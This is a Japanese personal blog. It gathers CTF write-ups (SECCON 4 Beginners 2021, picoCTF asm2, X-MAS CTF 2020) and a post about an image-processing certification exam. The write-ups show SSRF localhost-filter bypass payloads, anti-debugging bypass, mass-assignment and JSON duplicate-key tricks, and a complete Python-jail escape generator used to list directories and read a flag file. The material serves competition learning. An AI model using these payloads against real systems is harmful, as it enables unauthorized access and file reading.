seccon 4 beginner 2021参加記

ここ数年、secconに出よう出ようと思いつつ、思い出したころにHPを見ると毎回20XX年度の活動は終了していましたが、
今回ついにチームupperVillageで参加しました。
1949ptで71位でした。

4 beginnerといいつつなかなか難しくて、面白い問題が多かったです。

作問者によるwrite upやきれいなwrite upは色々出回っていますので、
この記事ではまともなwriteupというよりも、自分が試行錯誤した内容・感想を書こうと思います。(適当ですみません...)

welcome

welcome

disccordに入って、チャンネルを見に行く。

crypto

simple_RSA

下記inputからcを複合する。

n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

eが小さいので3乗根を取る。

Logical_SEESAW

下記のproblem.pyコードで、flagとkeyを使って暗号化する。

flag = list(bin(flag)[2:])
key = list(bin(key)[2:])

cipher_L = []

for _ in range(16):
    cipher = flag[:]
    m = 0.5

    for i in range(length):
        n = random()
        if n > m:
            cipher[i] = str(eval(cipher[i] + "&" + key[i]))

    cipher_L.append("".join(cipher))

flagとkeyのbitwise andを取っているため、
flagのi bit目が0なら暗号化後も0
flagのi bit目が1なら0と1が混ざる(各bitにつき16個の試行結果が渡されるので)
ことから、暗号化後の各i bit目に一つでも1があれば1,なければ0として文字列にすると解ける。

reversing

only_read

バイナリが渡される。 ghidraでデコンパイルする。

void main(void)

{
  ssize_t sVar1;
  long in_FS_OFFSET;
  undefined8 local_28;
  undefined8 local_20;
  undefined4 local_18;
  undefined2 local_14;
  char local_12;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_14 = 0;
  local_12 = '\0';
  sVar1 = read(0,&local_28,0x17);
  *(undefined *)((long)&local_28 + sVar1) = 0;
  if (((((((char)local_28 == 'c') && (local_28._1_1_ == 't')) && (local_28._2_1_ == 'f')) &&
       (((local_28._3_1_ == '4' && (local_28._4_1_ == 'b')) &&
        ((local_28._5_1_ == '{' && ((local_28._6_1_ == 'c' && (local_28._7_1_ == '0')))))))) &&
      (((char)local_20 == 'n' &&
       ((((((local_20._1_1_ == '5' && (local_20._2_1_ == 't')) && (local_20._3_1_ == '4')) &&
          ((local_20._4_1_ == 'n' && (local_20._5_1_ == 't')))) &&
         ((local_20._6_1_ == '_' && ((local_20._7_1_ == 'f' && ((char)local_18 == '0')))))) &&
        (local_18._1_1_ == 'l')))))) &&
     ((((local_18._2_1_ == 'd' && (local_18._3_1_ == '1')) && ((char)local_14 == 'n')) &&
      ((local_14._1_1_ == 'g' && (local_12 == '}')))))) {
    puts("Correct");
  }
  else {
    puts("Incorrect");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

children

ファイルを実行すると、fork execしてコプロセスが作られるので、psしながら質問に答える。
psの結果と最後の子プロセス数が合わず5回くらいrejectされたため、psの結果じゃなくて、30%の確率で2個子プロセスが作られることから通るまで13(10+10*0.3)で試した。

please_not_trace_me

バイナリが渡されて、実行中にflagの文字列が作られている。ghidraではよくわからなかったため、gdb-pedaでアタッチすると、タイトル通りの問題となる。
実行中に2回ptrace(PTRACE_TRACEME,0,1,0)が呼ばれていて、正常時は初回0 2回目-1となる。
アタッチされていると初回 2回目ともに-1となる。
そのため初回実行後にset $RAX=0とすると、レジスタにflag文字列が見えた。

と書いているが、初回も2回目もアタッチされていなければ0だと思い込んでいて、かなり時間かかった。
わざわざLD_PRELOADで毎回return 0するコードを書いてもplease_not_trace_meと言ってきたので気づいた。

firmware

firmware.binというdata ファイルが与えられる。
binwalkをするとarm elfが埋まっているので、それを取り出して実行すると、pwが求められる。
わざわざラズパイで実行したが、ghidraで十分。

          memcpy(auStack4520,&DAT_00010ea4,0xf4);←ここ
          sVar2 = strlen((char *)abStack4116);
          if (sVar2 != 0x3d) {
            local_10b4 = 0x6f636e49;
            uStack4272 = 0x63657272;
            uStack4268 = 0x61702074;
            uStack4264 = 0x6f777373;
            local_10a4 = 0xa2e6472;
            local_10a0 = 0;
            sVar2 = strlen((char *)&local_10b4);
            send(local_11d8,&local_10b4,sVar2,0);
            close(local_11d8);
          }
          local_11e0 = 0;
          while (local_11e0 < 0x3d) {
           if ((uint)(abStack4116[local_11e0] ^ 0x53) != auStack4520[local_11e0]) {←ここ
              local_10b4 = 0x6f636e49;
              uStack4272 = 0x63657272;
              uStack4268 = 0x61702074;
              uStack4264 = 0x6f777373;
              local_10a4 = 0xa2e6472;
              local_10a0 = 0;
              sVar2 = strlen((char *)&local_10b4);
              send(local_11d8,&local_10b4,sVar2,0);
              close(local_11d8);
            }
            local_11e0 = local_11e0 + 1;
          }

←ここ と書いてあるところが答えにつながる。
&DAT_00010ea4を見に行って、0x53とxorを取るとflagになる。
local_10b4 = 0x6f636e49;この辺の文字列をascii変換すると、incorrect, correctみたいなワードになる。(4 beginnerなので書いとく)

終了5分前に解けて、文字列を慌てて書き写していたため手が震えていた・・・。

pwnable

rewriter

実行するとreturnアドレスを教えてくれる。そこにwin()のアドレスを書き込めばよい。
pwnがほぼできないので過去問を見た。
SECCON Beginners CTF 2020 Beginner's Stack Writeup - Qiita

web

osoba

貰ったファイルを見るとpublic/../../flagにあるので、urlに打ち込むと行ける。

Werewolf

postで送られたデータに対して、

        for k, v in request.form.items():
            player.__dict__[k] = v

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role

のプロパティを設定している。
roleはgetterがあって、setterはコメントアウトされてるので無理なのかなと思っていたが、
Online PHP/Java/C++... editor and compiler | paiza.IO
で見るとわかるが、

_Player__role

をキーにすれば設定できた。

check_url

getリクエストでurlを渡すとそこにcurlした結果を表示してくれる。
アクセス元ipが127.0.0.1だとflagが表示されるので、自サーバにcurlできればよい。
ただし、ドットと"localhost"は使えない。

色々調べるとドットを使わないipアドレス表示方法があることがわかった。
SSRF payloads. Payloads with localhost | by Pravinrp | Medium
ただし、

http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

この辺の方法だと通らず、

0x7f000001

だと行ける。

solved数高いのに10進数できないで詰まっていてかなり焦っていた。

json

chromeプラグインを使って、192.168.111.1をx-fowarded-forに設定した。
すると仲が見れて、idを設定するプルダウンがあるが、flagをゲットする2を設定すると弾かれてしまう。

apiの方をみるとIDとして取っていたので{"ID":2,"id":1}というjsonを送るとflagが取れた。
実は大文字小文字ではなくて、idが2つあるときに、最前と最後のどちらをとるかがライブラリによって異なるぽい。

cant_use_db

だんだん適当になってきたが、ファイル読み書きが排他ではないので、同時に書けば行けるだろうと思いつつも、コードを書くのがめんどくさかったので、
急いでクリックすると行けた。

@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 10000:
        noodles += 1
        open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 10000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸$10000"
    return "ERROR: INSUFFICIENT FUNDS"

他人のwrite upを読んでいて、sleepがあることに気づいた。

misc

git-leak

diff commitid commitid
をして頑張ると出てくる。

Mail_Address_Validator

正規表現一致判定部分で5秒以上経過させればよい。
よくわからんから適当に長い文字列入れたらいけた。


以上!

運営者・参加者の皆様 お疲れさまでした。

picoGym asm2 250 points

picoCTF2019で出題されたものですが、問題が少し変わっている&解説記事がないため記載

問題

play.picoctf.org

asm2:
	<+0>:	push   ebp
	<+1>:	mov    ebp,esp
	<+3>:	sub    esp,0x10
	<+6>:	mov    eax,DWORD PTR [ebp+0xc]
	<+9>:	mov    DWORD PTR [ebp-0x4],eax
	<+12>:	mov    eax,DWORD PTR [ebp+0x8]
	<+15>:	mov    DWORD PTR [ebp-0x8],eax
	<+18>:	jmp    0x509 <asm2+28>
	<+20>:	add    DWORD PTR [ebp-0x4],0x1
	<+24>:	sub    DWORD PTR [ebp-0x8],0xffffff80
	<+28>:	cmp    DWORD PTR [ebp-0x8],0x63f3
	<+35>:	jle    0x501 <asm2+20>
	<+37>:	mov    eax,DWORD PTR [ebp-0x4]
	<+40>:	leave  
	<+41>:	ret  

asm2(0xb,0x2e)として引数を付けた場合のasm2関数の戻り値を答える問題

解説

DWORD PTR [ebp+0xc]が第2引数
DWORD PTR [ebp+0x8]が第1引数のため、

	<+0>:	push   ebp
	<+1>:	mov    ebp,esp
	<+3>:	sub    esp,0x10
	<+6>:	mov    eax,DWORD PTR [ebp+0xc]
	<+9>:	mov    DWORD PTR [ebp-0x4],eax
	<+12>:	mov    eax,DWORD PTR [ebp+0x8]
	<+15>:	mov    DWORD PTR [ebp-0x8],eax
	<+18>:	jmp    0x509 <asm2+28>

ここまで進んだ時の値は、
DWORD PTR [ebp-0x4] = 0x2e
DWORD PTR [ebp-0x8] = 0xb
となっている。

その後、

	<+20>:	add    DWORD PTR [ebp-0x4],0x1
	<+24>:	sub    DWORD PTR [ebp-0x8],0xffffff80
	<+28>:	cmp    DWORD PTR [ebp-0x8],0x63f3
	<+35>:	jle    0x501 <asm2+20>

このループに入る。

まず、0xffffff80を2の補数表記から16進数に戻すと-0x80となるため、<+24>で0xbに0x80を加算して、0x63f3を超えるまでループさせている。

ループの回数は、

(0x63f3-0xb)/0x80+1 = c8

回となるため、

<+37>:	mov    eax,DWORD PTR [ebp-0x4]

に来た時のDWORD PTR [ebp-0x4]の値は、0x2e+0xc8=0xf6
となっていて、これが答え

画像処理エンジニア検定エキスパート

合格しました。
f:id:kou6839:20201225183134p:plain
11/26受験、12/25合格発表です。
🎅

www.cgarts.or.jp


<感想>
ベーシックとエキスパートがあり、エキスパートの方を受験しました。
ベーシックの方は範囲もかぶっているし、下位互換だったので受験はしませんでした。

仕事で画像処理エンジニア(ソフト)として働いていましたが、合格までは勉強必須でした。

ソフト部分も難しいんですが、合格にはレンズなど光学系の知識も必要です。
照明も出てきたりとかなり幅が広いです。

近年、画像処理=ディープラーニング=CNNですべての特徴抽出余裕!
みたいな感じですが、OCR,QRコード読み取り、その他定型物認識などには、まだまだ従来画像処理手法が優位なのではないかと
個人的には思っています。(OCRはきびしいかも)

この試験範囲を押さえておけば、画像処理の基本はバッチリなはず。
かなり良い試験だと思いました。

<勉強法>

・教科書
公式おすすめのやつでokです。

・過去問
これも公式のやつでokです。

本は上記2冊で十分です。

・勉強期間
基本毎週土日のみ使って4h/week くらいの勉強時間でしたが、2か月ほどかかりました。さらに前日、前々日で20hほどやったので、
IPAでいうと高度試験くらいの難易度かちょい難しいくらいです。(ネスぺくらいかな。まだ受かってませんが・・・)

・内容
初回に「過去問を見る→わからないところの教科書を見る」だとわからなすぎて厳しいので、
1回教科書を読んだほうが良いと思います。(私はここで1か月くらいかかりましたが)

過去問を2周くらいやりながら、どうしても理屈で一発理解しづらい以下の分野をググりながら勉強しました。
画像処理フィルタなどのソフト系は、仕事で使っていたので試験範囲の半分くらいは大体わかっていて助かりました。

被写界深度の計算。パラメータ。
過焦点距離について - Circulation - Camera
↑わかりやすい。
・アフィン変換(これは手計算すれば普通にわかるかも)
・スペクトル
これは正直よくわかってない。
エッジの垂直に波形がでるのと、中心が低周波とか、それくらい・・・。
・その他計算問題
2020後期ではハフマン符号など、アルゴリズムの詳細が問われました。
アルゴリズムの解説は教科書眺めてるとごちゃごちゃしててめんどくさそうですが、
↑の教科書で出ているところは一度は読んでおきましょう。

・最後に
なんだかんだ言っても、過去問がきっちり解けるようになればok!

X-mas ctf2020参加しました

タイトルの通り、x-mas ctf2020によくわからないまま参加しました。
xmas.htsp.ro

結果としては、全体52位(正のスコア1064チーム)で
日本チーム1位でした。
f:id:kou6839:20201221131920p:plain

ctfにろくに参加したことない3人(4人)でしたが、
1週間という長い期間ということもあり、これまでと違って問題割り振りや全体把握をしていたのが良かったと思います。

これまでのctfでは解けそうな問題に一点集中→時間浪費で終了していたため、スコア稼ぎの観点が足りていませんでした。

以下、解けなかった問題を他者解説を参考にした writeupです。
見つけ次第更新していきます。

Misc

Krampus's Lair

参考URL
[CTF Writeup] X-MAS 2020 - Krampus' Lair

<問題概要>
最初に冒険ゲームが始まりますが、本題ではありません。
説明されていませんが、n e s wで東西南北に移動できるので、look read take useを使って、ゲームを進めます。

最終的に、
f:id:kou6839:20201221140125p:plain
の記述が現れ、
GEM
HUNTER SNARE
CAN
TIME
()
v / ,
だけの文字を使って、ESCAPE THE PYTHON JAILします。

<感想>
てっきり、pythonのシェルを終わらせるためにexit()を呼ぼうと頑張っていましたが(xが上記文字に含まれません)、他者write upをみると全然違っていました・・・。

<解答>
適当に入力すると
eval(eval("入力"))が実行されることが予測できます。
inner evalでprint("aaa")のようなものを作って、
outer evalで実行します。

"入力"を作るのですが、まず初めに上記の文字だけでどんな関数が使えるのか調べます。

>>> ALLOWED_CHARS = "gemhuntersnarecantimer(),/v"
>>> [f for f in dir(__builtins__) if all([c in ALLOWED_CHARS for c in f])]
['ascii', 'chr', 'enumerate', 'getattr', 'hasattr', 'hash', 'int', 'isinstance', 'iter', 'min', 'range', 'set', 'setattr', 'str', 'sum', 'vars']

次に、これらの関数を使って、任意の文字列が作れれば、eval()を通して実行することができます。
また、下記①②を通して、上記関数から任意の文字列を作ることができます。
1-1 chr()が使えるため、任意の数字を取得できれば、任意の文字が作れることになります。
1-2 hash() sum()を使って、任意の数字を作ることができます。
2-1上記任意の文字を、getattr(str,min(vars(str))()で文字列に結合することができます。

↓具体的な関数(上記writeupより)

def one():
    return "int(hash(int)/hash(int))"

def integer(n):
    return "sum((" + ",".join([one()] * n) + "))"

def char(c):
    return "chr(" + integer(ord(c)) + ")"

def string(s):
    chars = [char(c) for c in s]
    out = chars[0]
    for c in chars[1:]:
        out = "getattr(str,min(vars(str)))(" + out + "," + c + ")"

    return out

string()に実行したい文字を渡すことで、任意の関数を実行できるようになりました。

> print(__import__("os").listdir())
You try double eval'ing your contraption: 'print(__import__("os").listdir())'
['run', 'var', 'tmp', 'boot', 'etc', 'root', 'bin', 'media', 'opt', 'dev', 'proc', 'home', 'lib64', 'srv', 'usr', 'sbin', 'lib', 'mnt', 'sys', '.dockerenv', 'chall']
> print(__import__("os").listdir("chall"))
You try double eval'ing your contraption: 'print(__import__("os").listdir("chall"))'
['text.py', 'flag.txt', 'server.py', '__pycache__']
> print(open("chall/flag.txt").read())
You try double eval'ing your contraption: 'print(open("chall/flag.txt").read())'
X-MAS{70_f1gh7_Kr4mpu5_y0u_f1r57_mu57_br34k_0u7_0f_175_PYTH0N_J41L-017F485A}

programming

Santa's ELF holomorphing machine

参考write up
[CTF Writeup] X-MAS 2020 - Santa's ELF holomorphing machine

<問題概要>
複素平面のx,y座標を正則関数を使って、u,vに変換する。
ただし、メモリの観点から、u,vのどちらかへの正則関数しか保持していない。

<感想>
u,vどちらかの座標から文字っぽい感じにもう片方の座標を特定できないかとおもったけど、普通に無理でした・・・。


<解説>
正則関数にはある性質があり、コーシー・リーマンの方程式から、u,vいずれかを計算できるようです。
正則関数 - Wikipedia

それを使って、座標に点をplotするとflagが現れます。

import matplotlib.pyplot as plt

f = open('data.txt')
lines2 = f.readlines()
f.close()

coordinates=[]

for line in lines2:
    line=line.strip()
    print(line)

    a=int(line.split(" * x")[0].split("= ")[1])
    b=int(line.split(" * y")[0].split("+ ")[1])
    x = float(line.split("z = ")[1].split(" + ")[0]) 
    y = float(line.split(" * i")[0].split(" + ")[-1])   
    
    if line[0]=='u':
        coordinates.append((a*x+b*y, -(a*y-b*x)/2))
    elif line[0]=='v':
        coordinates.append((b*x-a*y,-(a*x+b*y)/2))
    else:
        print("error!")


x,y=zip(*coordinates)
plt.scatter(x,y)
plt.show()

↑のvにかかる-1と/2は作画の都合です。

↓flag 読みづらすぎ・・・。
f:id:kou6839:20201221164123p:plain


Binary

Web